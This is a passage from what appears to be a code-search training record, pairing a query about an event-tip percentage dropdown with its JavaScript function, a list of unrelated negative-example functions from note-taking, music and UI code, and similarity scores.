\r\n \t }\t\t\r\n\t}\r\n\r\n}", "function addNote(){\n var noteText = document.getElementById(\"note_text\").value;\n noteList.addNote(noteText);\n displayNotes();\n }", "function songToWords() {\n\t let textDiv = document.getElementById(\"text-area\");\n\t textDiv.innerHTML = \"\" ;\n\t words = [];\n\t lines = song.split('\\n');\n\t var lineNumber = 0;\n\t var wordNum = 0;\n\t for(i in lines) {\n\t\t \t\ttextDiv.innerHTML = textDiv.innerHTML + '<p>' + lines[i] + '</p>' ;\n\t lines[i] += '\\n';\n\t wordNum = 0;\n\t var elements = lines[i].split(' ');\n\t\t var totalLength = 0;\n for (j in elements){\n\t\t\t \tlineNumber = i + 6;\n\t\t\t\tvar isChord = false;\n\t\t\t\tvar chord = \"\";\n var chordNum = 0;\n\t\t\t\t\n //check if it's a chord, if it is, add it to chord array\n for (k in elements[j]){\n if (elements[j][k] === '[') {\n isChord = true;\n\n }\n if (elements[j][k-1] === ']'){\n isChord = false;\n\n\t\t\t\t\t\tchordNum++;\n\t\t\t\t\t}\n if (isChord) {\n chord += elements[j][k];\n\t\t\t\t\t} \n }\n //display chords, substitude chord with space\n\t\t\t\tif(chord != \"\"){\n\t\t\t\t\t words.push({word: chord, x: totalLength, y: (lineNumber * 5) - 20, isChord: true});\n elements[j] = elements[j].replace(chord, ' ');\n }\n //display lyrics\n if (elements[j] && elements[j]!=' ') {\n words.push({ word: elements[j], x: totalLength, y: lineNumber * 5, isChord: false });\n totalLength += elements[j].length * 17;\n wordNum++;\n\t\t\t\t}\n\t\t }\n\t }\n }", "function loadNotes() {\n noteId = 0;\n idx = 1;\n notes = [];\n document.getElementById('data').innerHTML = '';\n\n chrome.storage.sync.get('todos_notes', function(result) {\n notes = result.todos_notes;\n if (!notes) {\n notes = [''];\n }\n createNotes(notes, idx, 0);\n });\n }", "function displayNotes(data) {\n //clear the notes\n $(\"#notesBody\").empty();\n //if a note array exists\n if (data.note.length !== 0) {\n for (var i = 0; i < data.note.length; i++) {\n // get the body of the note and the associated x that will allow you to delete the note\n let noteP = $(\"<h6>\").text(data.note[i].body);\n let span = $(\"<span>\");\n span.addClass(\"deleteNote\");\n span.addClass(\"float-right\");\n span.html(\"&times;\");\n span.attr(\"data-id\", data.note[i]._id);\n noteP.append(span);\n $(\"#notesBody\").append(noteP);\n }\n } else {\n $(\"#notesBody\").text(\"No new notes for this article yet.\");\n }\n}", "function readNotes() {\n\n 'use strict';\n\n // Getting DOM element references to manipulate\n\n const notesListEl = window.document.querySelector( '.js-notes-list' ),\n notesListWarningEl = window.document.querySelector( '.js-notes-list-warning' );\n\n // Sending request to read the database\n\n window.fetch(\n 'api/notes/read.php',\n {\n method: 'GET',\n headers: { 'Content-Type': 'application/json' }\n }\n )\n .then(\n function fulfilled(response) {\n\n if ( response.ok ) {\n return response.json();\n }\n\n throw new Error( 'Network Error' );\n\n },\n function rejected(error) {\n console.log( 'Error: ' + error );\n createMessage( 'An error occurred. Try again later.' );\n }\n )\n .then(\n function handleData(jsonData) {\n\n // If status return 0, then we have no notes on the database.\n\n if ( jsonData.status ) {\n\n // Sorting the data to show the most recent used notes first\n\n const sortedData = jsonData.data.sort( function(a, b) {\n return a.last_modified > b.last_modified;\n } );\n\n // Removing 'no notes' warning in the list\n\n notesListWarningEl.classList.remove( 'show-block' );\n\n // Cleaning the list\n\n notesListEl.innerHTML = '';\n\n // Creating the html for each item\n\n sortedData.forEach( function( obj ) {\n\n const listItemEl = window.document.createElement( 'li' );\n listItemEl.addEventListener( 'click', editNote );\n listItemEl.classList.add( 'notes-list__item' );\n listItemEl.dataset.id = obj.id;\n listItemEl.innerText = obj.title;\n notesListEl.appendChild( listItemEl );\n\n } );\n\n\n }\n else {\n notesListWarningEl.classList.add( 'show-block' );\n notesListEl.innerHTML = '';\n }\n\n }\n )\n .catch( function showError(e) {\n window.console.log(e);\n createMessage( 'Could not read from database.' );\n } );\n\n}", "function buildNotes(notes) {\n\n //Loop through the notes\n notes.forEach(function(note) {\n\n\n const noteCard = `<div id=\"${note._id}\" class=\"note alert alert-primary alert-dismissible\" role=\"alert\">\n <div class=\"note-body\">\n ${note.body}\n </div>\n <button type=\"button\" class=\"close edit-note\">\n <span><i class=\"fas fa-edit\"></i></span>\n </button>\n <button type=\"button\" class=\"close delete-note\">\n <span>&times;</span>\n </button>\n </div>`\n\n $(\".notes-modal\").find(\"#article-notes\").append(noteCard)\n\n\n });\n }", "function saveNote() {\n var noteContent = [];\n // Looping through the paragraphs and getting the contents of them\n $.each(noteSelf.paragraphs, function(index, paragraph) {\n noteContent.push(paragraph.getContent());\n });\n\n // Saving the note content in the server\n utils.showLoadingOverlay($('#paragraphs'));\n $.ajax({\n type: 'PUT',\n data: JSON.stringify(noteContent),\n url: constants.API_URI + 'notes/' + noteSelf.name,\n success: function(response) {\n if (response.status == constants.response.SUCCESS) {\n utils.handlePageNotification('info', 'Info', 'Note successfully saved');\n\n $.each(noteSelf.paragraphs, function(index, paragraph) {\n if (paragraph.paragraphClient != null) {\n paragraph.paragraphClient.unsavedContentAvailable = false;\n }\n });\n } else if (response.status == constants.response.NOT_LOGGED_IN) {\n window.location.href = 'sign-in.html';\n } else {\n utils.handlePageNotification('error', 'Error', response.message);\n }\n utils.hideLoadingOverlay($('#paragraphs'));\n },\n error: function(response) {\n utils.handlePageNotification('error', 'Error',\n utils.generateErrorMessageFromStatusCode(response.readyState)\n );\n utils.hideLoadingOverlay($('#paragraphs'));\n }\n });\n }", "constructor(notes) {\n this.notes = notes\n }", "function processData2(dat) {\n var allTextLines = dat.split(/\\r\\n|\\n/);\n lines = [];\n for (var i = 0; i < allTextLines.length; i++) {\n var data = allTextLines[i].split(' ');\n var tarr = [];\n for (var j = 0; j < data.length; j++) {\n tarr.push(data[j]);\n }\n lines.push(tarr);\n }\n init();\n animate();\n}", "setNoteElements () {\n const noteList = this.page.noteList\n while (this.notes.length > 10) this.notes.shift()\n Doc.empty(noteList)\n for (let i = this.notes.length - 1; i >= 0; i--) {\n const note = this.notes[i]\n const noteEl = this.makeNote(note)\n note.el = noteEl\n noteList.appendChild(noteEl)\n }\n this.storeNotes()\n // Set the indicator color.\n if (this.notes.length === 0) return\n const severity = this.notes.reduce((s, v) => {\n if (!v.acked && v.severity > s) return v.severity\n return s\n }, ntfn.IGNORE)\n setSeverityClass(this.page.noteIndicator, severity)\n }", "function createNote() {\n //object for wrapper html for note\n var $note = $(\"<p>\");\n //define input field\n var $note_text = $(\".note-input input\");\n //conditional check for input field\n if ($note_text.val() !== \"\") {\n //set content for note\n $note.html($note_text.val());\n //append note text to note-output\n $(\".note-output\").append($note);\n $note_text.val(\"\");\n }\n }", "function playMidiNoteSequence(midiNotes) {\n /* console.log(\"play sequence\"); */\n if (myapp.buffers) {\n midiNotes.map(playMidiNote);\n myapp.ports.playSequenceStarted.send(true);\n }\n else {\n myapp.ports.playSequenceStarted.send(false);\n }\n}", "function convertNotes(notes, sub) {\n self.log(\"Notes ver: \" + notes.ver);\n\n if (notes.ver >= TBUtils.notesMinSchema) {\n if (notes.ver <= 5) {\n notes = inflateNotes(notes, sub);\n }\n else if (notes.ver <= 6) {\n notes = decompressBlob(notes);\n notes = inflateNotes(notes, sub);\n }\n\n if (notes.ver <= TB.utils.notesDeprecatedSchema) {\n self.log('Found deprecated notes in ' + subreddit + ': S' + notes.ver);\n\n TBUtils.alert(\"The usernotes in /r/\" + subreddit + \" are stored using schema v\" + notes.ver + \", which is deprecated. Please click here to updated to v\" + TBUtils.notesSchema + \".\",\n function (clicked) {\n if (clicked) {\n // Upgrade notes\n self.saveUserNotes(subreddit, notes, \"Updated notes to schema v\" + TBUtils.notesSchema, function (succ) {\n if (succ) {\n TB.ui.textFeedback('Notes saved!', TB.ui.FEEDBACK_POSITIVE);\n TB.utils.clearCache();\n window.location.reload();\n }\n });\n }\n });\n }\n\n return notes;\n }\n else {\n returnFalse();\n }\n\n // Utilities\n function decompressBlob(notes) {\n var decompressed = TBUtils.zlibInflate(notes.blob);\n\n // Update notes with actual notes\n delete notes.blob;\n notes.users = JSON.parse(decompressed);\n return notes;\n }\n }", "function drawNotes(tuning) {\n\n $.ajax({\n url: \"notes.php\",\n data: {\n tuning: tuning\n },\n success: function(strings) {\n\n clearNotes();\n\n // for each string\n $.each(strings, function(string_number, string) {\n\n // draw open string note\n var stringNoteHtml = '<div class=\"open_note\">' + string.open + \"</div>\";\n $(\".\" + string_number + \" > .open\").html(stringNoteHtml);\n\n // for each note\n $.each(string.notes, function(note, frets) {\n\n // custom class for half-steps notes\n if (note.length > 1) {\n var noteHtml = '<div class=\"halfstep ' + note + '\">' + note + \"</div>\";\n } else {\n var noteHtml = '<div class=\"note ' + note + '\">' + note + \"</div>\";\n }\n\n // draw note\n $(\".\" + string_number + \" > .fret\" + frets).append(noteHtml);\n\n // hide half-steps by default\n if ($(\"#toggle_halfsteps\").prop(\"checked\") == false) {\n $(\".halfstep\").hide();\n }\n });\n });\n\n // center notes\n center(\".note\");\n center(\".halfstep\");\n }\n });\n}", "newNote(note) {\n const { title, text } = note;\n // This is input validation requiring the title and note to both have at least 1 character.\n if (!title || !text) {\n throw new Error(\"Note 'title' and 'text' both have a 1 character minimum requirement!\");\n }\n\n // This adds a unique ID to the new note as well as the title and text.\n const newNote = { title, text, id: uniqueID() };\n\n // This retrives all the notes, writes all the updated notes, adds the new note, and returns the newNote.\n return this.retrieveNotes()\n .then((notes) => [...notes, newNote])\n .then((updatedNotes) => this.writeFile(updatedNotes))\n .then(() => newNote);\n }" ]
[ "0.64432204", "0.62573844", "0.6165978", "0.61649865", "0.6024055", "0.591221", "0.59023476", "0.58964986", "0.57996017", "0.57819235", "0.574111", "0.57077485", "0.56834257", "0.5679101", "0.56342435", "0.56235874", "0.56201786", "0.5605617", "0.559981", "0.55837286", "0.5567676", "0.5564723", "0.55634815", "0.550542", "0.54904383", "0.54896474", "0.547065", "0.54690665", "0.5461451", "0.54582906", "0.54533273", "0.5444448", "0.54340714", "0.5427738", "0.542638", "0.54038155", "0.5403318", "0.5402921", "0.5402649", "0.5401795", "0.53666615", "0.5357033", "0.53557146", "0.5347385", "0.5334152", "0.53187335", "0.53186464", "0.5316677", "0.53102", "0.53082407", "0.5296567", "0.52932173", "0.5292221", "0.529106", "0.528769", "0.5280045", "0.52622145", "0.52605784", "0.5252012", "0.52470356", "0.5238168", "0.5233995", "0.5232721", "0.5229715", "0.52284384", "0.5217597", "0.52168244", "0.52164406", "0.5211734", "0.52089864", "0.52087766", "0.52028847", "0.5196799", "0.5190191", "0.51895815", "0.51886946", "0.51852834", "0.51836085", "0.5176458", "0.51708686", "0.5166145", "0.51652265", "0.51634276", "0.5162442", "0.51587003", "0.51524144", "0.5151342", "0.5149934", "0.5147855", "0.51454854", "0.5132974", "0.51300645", "0.5126649", "0.51262975", "0.5124515", "0.5123739", "0.5121679", "0.51197416", "0.5113474", "0.51087934" ]
0.5744305
10
drop down menu of percentage for event tips
function eventTipSelector() { var a = document.getElementById("eventTipPercentage").value; var b = document.getElementById("eventTipConfirm"); if(isNaN(a)) {b.innerHTML = "Nothing selected yet"} else { eventTipPercentage = parseInt(a); b.innerHTML = "Event tip percentage will be considered to be " + eventTipPercentage +"%"; } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function populateTotalPercent(e, a) {\n if (\"carb\" == a) l = e + parseInt($(\"#protein_slider\").slider(\"value\")) + parseInt($(\"#fat_slider\").slider(\"value\"));\n else if (\"protein\" == a) l = e + parseInt($(\"#carb_slider\").slider(\"value\")) + parseInt($(\"#fat_slider\").slider(\"value\"));\n else if (\"fat\" == a) var l = e + parseInt($(\"#carb_slider\").slider(\"value\")) + parseInt($(\"#protein_slider\").slider(\"value\"));\n l > 100 ? $(\"#total_percent\").removeClass(\"label-success label-warning\").addClass(\"label-danger\") : l < 100 ? $(\"#total_percent\").removeClass(\"label-success label-danger\").addClass(\"label-warning\") : $(\"#total_percent\").removeClass(\"label-warning label-danger\").addClass(\"label-success\"), $(\"#total_percent\").text(l + \"%\")\n}", "function clickPercent(e) {\n\t\t\treturn (e.pageX - timeline.offsetLeft) / timelineWidth;\n\t\t }", "function clickPercent(e) {\n\treturn (e.pageX - timeline.offsetLeft) / timelineWidth;\n}", "function getTendency() {\n\t\t\tif (!vm.current) {\n\t\t\t\treturn 'arrow_drop_down'\n\t\t\t}\n\t\t\treturn vm.current.percent_change > 0 ? 'arrow_drop_up' : 'arrow_drop_down';\n\t\t}", "function clickPercent(e) {\n return (e.pageX - timeline.offsetLeft) / timelineWidth;\n}", "function clickPercent(event) { \n return (event.clientX - getPosition(timeline)) / timelineWidth;\n}", "function mySelectEvent() {\n\n var selected = this.selected();\n if (selected === '1') {\n hStep=1;\n ItterNum=1;\n }\n\n if (selected === '2') {\n hStep=0.1;\n ItterNum=10;\n }\n\n if (selected === '3') {\n hStep=0.01;\n ItterNum=100;\n }\n\n}", "function setUI(){\n\n //ui.lowScoreLimit.innerHTML = attribute.score - attribute.lowScoreLimit;\n //ui.highScoreLimit.innerHTML = attribute.highScoreLimit - attribute.score + \" until next level\";\n }", "function showProgress() {\n var bar = document.getElementById(\"bar\");\n var width = parseInt(bar.style.width = (6 + (totalClicks / 15 * 100)) + '%');\n bar.innerText = '';\n var percent = document.createElement('p');\n if (totalClicks == 15) {\n bar.style.width = '0%';\n var progress = document.getElementById(\"progress\");\n progress.style.width = '0%';\n } else {\n percent.innerText = width + '%';\n bar.appendChild(percent);\n }\n}", "function setPercents() {\n\t\tfor (i = 0; i < skill.length; i++) {\n\t $('#skills ul li' + '#' + skill[i].name).css( {width: skill[i].percent} );\n\t }\n\t}", "function drawPerClickStat() {\n let PC = 1;\n for (let key in clickUpgrades) {\n PC += clickUpgrades[key].quantity * clickUpgrades[key].multiplier;\n }\n document.getElementById('PC').innerText = PC.toString();\n}", "function updateOptionGraphicMax() {\n\n\t\toptionsGraph.hAxis.title = M.util.get_string('totalvote', 'evoting') + \" : \" + sumVote;\n\n\t}", "function setTopoPetsCaught(){\n\tdocument.getElementById(\"topoPetsFoundTitle\").innerHTML = \"<p> Recorder: \" + topoPetsCaught.total() + \"/\" + getTotalAmountTopoPets() + \" <br/><progress id='health' value=\" + topoPetsCaught.total() + \" max=\" + getTotalAmountTopoPets() + \" style='height:1vh;width:60%;'>\";\n}", "_overallPercentageCompute(items,active){if(typeof items!==typeof void 0){this.$.progress.classList.add(\"transiting\");return 100*(active/(items.length-1))}return 0}", "function metricsSelected(parent){\n\t var length = 0;\n\t \n\t if(parent.find('.level.last-level a.selected') != undefined){\n\t\tvar selected = parent.parents('ul.list').find('.level.last-level a.selected');\n\t\tlength = selected.length;\n\t\tconsole.log(length);\n\t }\n\t \n\t parent.parents('ul.list').find('#addMetrics span').html(length);\n }", "loadStats(event) {\r\n switch (event.target.id) {\r\n case \"bubble\":\r\n quickStats.style.display = \"none\";\r\n bubbleStats.style.display = \"flex\";\r\n break;\r\n case \"quick\":\r\n quickStats.style.display = \"flex\";\r\n bubbleStats.style.display = \"none\";\r\n break;\r\n }\r\n }", "function MostrarProgreso(progreso)\n{\n optProgreso.innerHTML = progreso + \"%\";\n document.documentElement.style.setProperty('--progreso', progreso + \"%\");\n}", "function updateProgressTooltip()\n {\n my.html.progress.title =\n 'This lesson contains ' + my.current.subunitText.length +\n ' characters.'\n }", "function toPct(e) {\n return e + \"%\"\n }", "function menu_bar_usage(goodlist_received,nawtylist_received,table_name)\n{\n // alert(goodlist_received.toSource()+\"Hello this hell 4 today\");\n var table_name = table_name;\n\n \n var count_top = 0; \n var count = 0 ; \n try\n {\n // runs through the goodlist array\n for(gud =0 ; gud < goodlist_received.length ; gud++)\n {\n try\n \n {\n // the inner and outer tab are horisontal and the level three is vertical so it uses a different method\n if (l3_menu_calc == false)\n {\n\n name_px = document.getElementById(goodlist_received[gud]).offsetWidth; // gets the amount of pixels being used by the program\n name_value = goodlist_received[gud]; // sets the name that is being used\n\n }\n else\n {\n\n name_px = document.getElementById(goodlist_received[gud]).offsetHeight; // gets the amount of pixels being used by the program\n name_value = goodlist_received[gud];// sets the name being used\n }\n }\n catch(x)\n {\n\n if (l3_menu_calc == false)\n {\n name_px = document.getElementById(goodlist_received[gud].DisplayText).offsetWidth;\n name_value = goodlist_received[gud].DisplayText;\n }\n else\n {\n try\n {\n name_value = goodlist_received[gud];\n name_px = parseInt( document.getElementById(\"l3_\"+goodlist_received[gud]).style.height);\n }\n catch(x)\n {\n alert(x);\n }\n }\n }\n\n count += name_px; // the total amount of pixels used\n // sets the limit of the amount of pixels that can be used\n if(l3_menu_calc == false)\n {\n //var menu_limit =850;\n var menu_limit =1000;\n }\n else\n {\n //248\n //var menu_limit = 600;\n var menu_limit =1000;\n //var menu_limit = 248;\n }\n\n if (count > menu_limit )\n {\n try\n {\n if ( name_value)\n {\n nawtylist_received.unshift( name_value);// adds a new program to the bad list\n \n }\n }\n catch (x)\n {\n alert(x);\n }\n }\n }\n\n //runs through the bad list array and tests if any of the names in the badlist is the goodlist\n // if it is, then it will be removed\n for (bad in nawtylist_received)\n {\n if (nawtylist_received.hasOwnProperty(bad))\n {\n // test if the name appears in the goodlist if it doesnt then it returns -1\n // which will remove the first element in the array\n var index_nr = goodlist_received.indexOf(nawtylist_received[bad]);\n if (index_nr != -1)\n {\n goodlist_received.splice(goodlist_received.indexOf(nawtylist_received[bad]),1);\n }\n }\n \n }\n show_array_of_elements(nawtylist_received,table_name);\n var div_name =\"hidden_program_list_div\";\n }\n catch (x)\n {\n alert(x);\n }\n \n}", "function contadoresArgentina() {\n $('#provPymes').html('Argentina');\n var pymesCountUp = new CountUp(\"totalPymes\", totalPymes_var, totalPymes_ARG, 0, 0.5, options);\n pymesCountUp.start();\n\n var pymes_porCountUp = new CountUp(\"porcPymes\", porcPymes_var*100, porcPymes_ARG*100, 0, 0.5, options);\n pymes_porCountUp.start();\n $('#porcBar').css('width', porcPymes_ARG*100+'%');\n\n totalPymes_var = totalPymes_ARG;\n porcPymes_var = porcPymes_ARG;\n\n}", "function calculateCompletion() {\r\n $(\"#stepNo\").html(step);\r\n var percentCompleted = Math.round((step - 1) / (maxStep - 1) * 100 / 5) * 5;\r\n if (percentCompleted == 0) {\r\n percentCompleted += 5;\r\n }\r\n $(\"#percentCompleted\").html(percentCompleted);\r\n $(\"#percentMeter\").css('width', percentCompleted + '%');\r\n}", "levelUp(event){\n let calculatePoints = Number(Math.floor(event.target.value / 4))\n this.unspentPoints = calculatePoints - this.spentPoints;\n // RUN THE LOGIC TO CALCULATE SAVING THROWS AND BASE ATT BONUS WHEN LEVEL CHANGES\n this.calculate_ST_BA();\n }", "function downsLabel(){\n if (downs ===1){\n document.getElementById(\"down-unit\").innerHTML=\"ST\";\n }\n else if (downs === 2){\n document.getElementById(\"down-unit\").innerHTML=\"ND\";\n }\n else if (downs === 3){\n document.getElementById(\"down-unit\").innerHTML=\"RD\";\n }\n else{\n document.getElementById(\"down-unit\").innerHTML=\"TH\";\n }\n }", "function ShowStats($element) {\n switch ($element.data('health')) {\n case 150: $element.find('.DEFstats').text('DEF: +1')\n break;\n case 100: $element.find('.DEFstats').text('DEF: +0')\n break;\n case 50: $element.find('.DEFstats').text('DEF: -1')\n break;\n }\n switch ($element.data('counter')) {\n case 15: $element.find('.ATKstats').text('ATK: +1')\n break;\n case 10: $element.find('.ATKstats').text('ATK: +0')\n break;\n case 5: $element.find('.ATKstats').text('ATK: -1')\n break;\n }\n}", "function randomEvent(){\n\tif(x2able && !powerX2 && !x2Show && random(100) < powerUpChance){\n\t\tx2Show = true;\n\t\treturn 1.0;\n\t}else if(slowable && !powerSlow && !slowShow && random(100) < powerUpChance){\n\t\tslowShow = true;\n\t\treturn 2.0;\n\t}else if(currentScore > bigThuTriggerScore && random(100) < bigThuChance){\n\t\treturn 3.0;\n\t}else if(currentScore > thuTypeTriggerScore && random(100) < venomThuChance){\n\t\treturn 4.0;\n\t}else if(currentScore > thuTypeTriggerScore && random(100) < cuteThuChance){\n\t\treturn 5.0;\n\t}else{\n\t\treturn 0.0;\n\t}\n}", "function percentageByJoinTime(joinTimeAmount) {\n\n var option = {\n title : {\n text: '集资分布',\n subtext: '按加入所属划分',\n textStyle: {\n fontSize: 24,\n align: 'center',\n color: '#C0DAFF',\n },\n subtextStyle: {\n align: 'center',\n color: '#C0DAFF',\n fontSize: 15,\n // fontFamily: \"楷体\",\n },\n x: \"center\", // Title align\n y: 10, // Distance from div top.\n },\n // tooltip : {\n // // trigger: 'item',\n // formatter: \"{b} : {c} ({d}%)\"\n // },\n calculable : true,\n series : [\n {\n name:'半径模式',\n type:'pie',\n radius : [20, 150],\n center : ['50%', '50%'],\n roseType : 'radius',\n label: {\n normal: {\n show: true,\n // formatter: '{b}\\n{c} ({d}%)'\n formatter: function (params) {\n return params[\"name\"]+\"\\n\"+\"集资总额:\"+params[\"value\"].toFixed(2)+\"\\n\"+\"集资比例:\"+params[\"percent\"].toFixed(2)+\"%\"\n },\n fontSize: 15,\n color: \"#C0DAFF\"\n },\n emphasis: {\n show: true\n },\n },\n labelLine: {\n\n normal: {\n show: true,\n length: 10,\n length2: 5,\n },\n emphasis: {\n show: true\n }\n },\n data:[\n {\n // value:parseFloat(joinTimeAmount[\"SNH48一期生\"]),\n value:parseFloat(joinTimeAmount[\"1001\"]),\n name:'一期生',\n itemStyle: {color: '#297CD7'} // 莫寒\n },\n {\n // value:parseFloat(joinTimeAmount[\"SNH48二期生\"]),\n value:parseFloat(joinTimeAmount[\"1002\"]),\n name:'二期生',\n itemStyle: {color: '#E60111'} // 李艺彤\n },\n {\n // value:parseFloat(joinTimeAmount[\"SNH48三期生\"]),\n value:parseFloat(joinTimeAmount[\"1003\"]),\n name:'三期生',\n itemStyle: {color: '#ffb3b3'} // 张雨鑫\n },\n {\n // value:parseFloat(joinTimeAmount[\"SNH48四期生\"]),\n value:parseFloat(joinTimeAmount[\"1004\"]),\n name:'四期生',\n itemStyle: {color: '#FCC525'} // 宋昕冉\n // itemStyle: {color: '#EF802C'} // 宋昕冉\n },\n {\n // value:parseFloat(joinTimeAmount[\"SNH48五期生\"]),\n value:parseFloat(joinTimeAmount[\"1005\"]),\n name:'五期生',\n itemStyle: {\n // Color gradient.\n // color: new echarts.graphic.LinearGradient(\n // 0, 0, 0, 1,\n // [\n // {offset: 0, color: '#00ff00'},\n // {offset: 0.5, color: '#ff4083'},\n // {offset: 1, color: '#9FBF40'},\n // ]\n // )\n color: '#ffb6bd' // 谢蕾蕾\n }\n },\n {\n // value:parseFloat(joinTimeAmount[\"SNH48六期生\"]),\n value:parseFloat(joinTimeAmount[\"1006\"]),\n name:'六期生',\n itemStyle: {\n // Color gradient.\n // color: new echarts.graphic.LinearGradient(\n // 0, 0, 0, 1,\n // [\n // {offset: 0, color: '#00b6de'},\n // {offset: 0.5, color: '#ffe249'},\n // {offset: 1, color: '#0cc8c3'},\n // ]\n // )\n color: '#F29A03' // 苏杉杉\n }\n },\n {\n value:parseFloat(joinTimeAmount[\"其他\"]),\n name:'其他',\n itemStyle: {color: '#00b6de'}\n },\n ]\n },\n ]\n };\n\n percentageByJoinTimeChart.hideLoading();\n percentageByJoinTimeChart.setOption(option, true);\n}", "function jsuGoogleAnalFreeTip (event){\n\tvar szTip='<div style=\"width:300px;\" align=\"left\">Click to show <b>Google Analytics Page</b><BR/>' + \n 'with the <b>Number of JSU downloads</b></div>';\n\tTip (szTip);\n}", "function update_selection_status(id_name, nofgenes_selected, nofgenes_total) {\n if (!isNaN(nofgenes_selected)) {\n d3.select(`#nofgenes_${id_name}`).text(nofgenes_selected);\n d3.select(`#percgenes_${id_name}`).text(\n ` (${format((nofgenes_selected / nofgenes_total) * 100)}%)`\n );\n }\n}", "function showStatsOld (evnt) {\n\tvar s= evnt.type + \" event captured\";\n\ts += \"x: \" + evnt.pageX + \" y: \" + evnt.pageY;\n\tvar icon = $(evnt.target)\n\tvar std_id = icon.id.split(\"_\")[0]\n\t// alert (s);\n\tvar stats = $(\"stats\")\n\tvar xDelta = 11\n\tvar yDelta = -20\n\tvar x = Position.cumulativeOffset(icon)[0] + xDelta; // evnt.pageX + 2;\n\tvar y = Position.cumulativeOffset(icon)[1] + yDelta; // evnt.pageY -30;\n\tvar std = $(std_id)\n\tif (std == null) {\n\t\talert (\"std not found for \" + std_id);\n\t\treturn;\n\t}\n\tvar std_stats = $(std_id+\"_stats\");\n\tif (std_stats == null) {\n\t\talert (\"std stats not found for \" + std_id);\n\t\treturn;\n\t}\n\tstats.innerHTML = std_stats.innerHTML;\n\tstats.setStyle ({display:\"block\", left:x, top:y});\n}", "function optionChanged(teamValue){\n \n\n console.log(`Team input from menu : ${teamValue}`);\n drawChart(teamValue);\n\n}", "function setProgreso(progreso) {\n var barraWidth = progreso * $(\".contBarraProgreso\").width() / 100;\n $(\".barraProgreso\").width(barraWidth).html(progreso + \"% \");\n }", "function Cheaperkindles(){\r\n\t\r\n\r\n\ttitle.html(\"Do you need to read books at night?\");\r\n\r\n\tfirstOption.html(\"Yes\");\r\n\tsecondOption.html(\"No\");\r\n\r\n\tfirstOption.mousePressed(Paperwhite);\r\n\tsecondOption.mousePressed(Kindle);\r\n}", "function updateStatsUI() {\n countItems();\n var progressBarWidth = percentBar.css('width');\n progressBarWidth = Number(progressBarWidth.slice(0, progressBarWidth.length - 2));\n if (count == 0) {\n percentBarFill.css('width', '0px');\n percentText.text('0%');\n } else {\n percentBarFill.css('width', '' + Math.round(completed / count * progressBarWidth) + 'px');\n percentText.text('' + Math.round(completed / count * 100) + '%');\n }\n}", "function setupTowerBonusSelectionArea() {\n var base, label;\n \n base = document.createElement(\"div\");\n base.setAttribute(\"id\", \"towerBonus\");\n base.setAttribute(\"class\", \"unitsOptionBlock\");\n\n \n label = document.createElement(\"label\");\n label.setAttribute(\"id\", \"towerBonusLabel\");\n label.innerHTML = tsosim.lang.ui.towerBonus;\n \n base.appendChild(label);\n \n // live\n if (tsosim.version === tso.versions.live.id) {\n base.appendChild(setupTowerBonusSelectionOption(0, \"None\", \"towerBonus0\", \"towerLive\", true, \"No watchtower\"));\n base.appendChild(setupTowerBonusSelectionOption(50, \"WT\", \"towerBonus50\", \"towerLive\", false, \"Watchtower - 50%\"));\n base.appendChild(setupTowerBonusSelectionOption(75, \"RWT\", \"towerBonus75\", \"towerLive\", false, \"Reinforced Watchtower - 75%\"));\n base.appendChild(setupTowerBonusSelectionOption(90, \"ST\", \"towerBonus90\", \"towerLive\", false, \"Stone tower - 90%\"));\n } else {\n base.appendChild(setupTowerBonusSelectionOption(0, \"0%\", \"towerBonus0\", \"towerSel\", true));\n base.appendChild(setupTowerBonusSelectionOption(10, \"10%\", \"towerBonus10\", \"towerSel\", false));\n base.appendChild(setupTowerBonusSelectionOption(20, \"20%\", \"towerBonus20\", \"towerSel\", false));\n base.appendChild(setupTowerBonusSelectionOption(30, \"30%\", \"towerBonus30\", \"towerSel\", false));\n base.appendChild(setupTowerBonusSelectionOption(40, \"40%\", \"towerBonus40\", \"towerSel\", false));\n base.appendChild(setupTowerBonusSelectionOption(50, \"50%\", \"towerBonus50\", \"towerSel\", false));\n }\n return base;\n}", "onOptionHover(evt, option) {}", "function prixamelioclick(){\n return Math.round(500 * (nbMultiplicateurAmelioAutoclick * 0.5));\n}", "function showDetail(event, key, amount, count, percent) {\n\n // show tooltip with information from the __data__ property of the element\n var x_hover = 0;\n var y_hover = 0;\n\n var content = \"<b>\" + key + \"</b><br/>\";\n\n if (amount != null) content += \"<b>Amount: </b>\" + amount + \"<br/>\";\n if (count != null) content += \"<b>Count: </b>\" + count + \"<br/>\";\n if (percent != null) content += \"<b>Percent: </b>\" + percent + \"<br/>\";\n\n var tooltipWidth = parseInt(tooltip.style('width'));\n var tooltipHeight = parseInt(tooltip.style('height'));\n var classed,notClassed;\n \n if (event.pageX > document.body.clientWidth / 2) {\n x_hover = tooltipWidth + 30;\n classed = 'right';\n notClassed = 'left';\n } else {\n x_hover = -30;\n classed = 'left';\n notClassed = 'right';\n }\n \n // y_hover = (document.body.clientHeight - event.pageY < (tooltipHeight + 4)) ? event.pageY - (tooltipHeight + 4) : event.pageY - tooltipHeight / 2;\n y_hover = (document.body.clientHeight - event.pageY < (tooltipHeight + 4)) ? event.pageY - (tooltipHeight - 40) : event.pageY - tooltipHeight - 40;\n\n return tooltip\n .classed(classed,true)\n .classed(notClassed,false)\n .style({\n \"visibility\": \"visible\",\n \"top\": y_hover + \"px\",\n \"left\": (event.pageX - x_hover) + \"px\"\n })\n .html(content);\n}", "function clickSize() { return width() / 40; }", "function updateExpPercentage(){\n let percentages = budget.getPercentages();\n ui.displayPercentage(percentages);\n }", "getTotalMenuPrice() {\n let total = 0;\n let self = this;\n this.menu.map(function (dish) {\n total += dish.pricePerServing * self.nGuest;\n });\n return Math.round(total * 100) / 100;\n }", "function updateEquipStats() {\r\n\tvar type = $(event.target).attr(\"id\").substring(4); //div id is always \"sel-type\" and we need the type\r\n\tvar newEquip = $(event.target).val();\r\n\tif (newEquip==\"none\") {\r\n\t\t$(event.target).parents(\"tr\").find(\"td\").eq(2).html(\"\"); //tool atk\r\n\t\t$(event.target).parents(\"tr\").find(\"td\").eq(3).html(\"\"); //tool def\r\n\t}\r\n\telse {\r\n\t\tif(type==\"tool\") {\r\n\t\t\t$(event.target).parents(\"tr\").find(\"td\").eq(2).html(tools[newEquip].atk); //tool atk\r\n\t\t\t$(event.target).parents(\"tr\").find(\"td\").eq(3).html(tools[newEquip].def); //tool def\r\n\t\t} else {\r\n\t\t\t$(event.target).parents(\"tr\").find(\"td\").eq(2).html(equipment[newEquip].atk); //tool 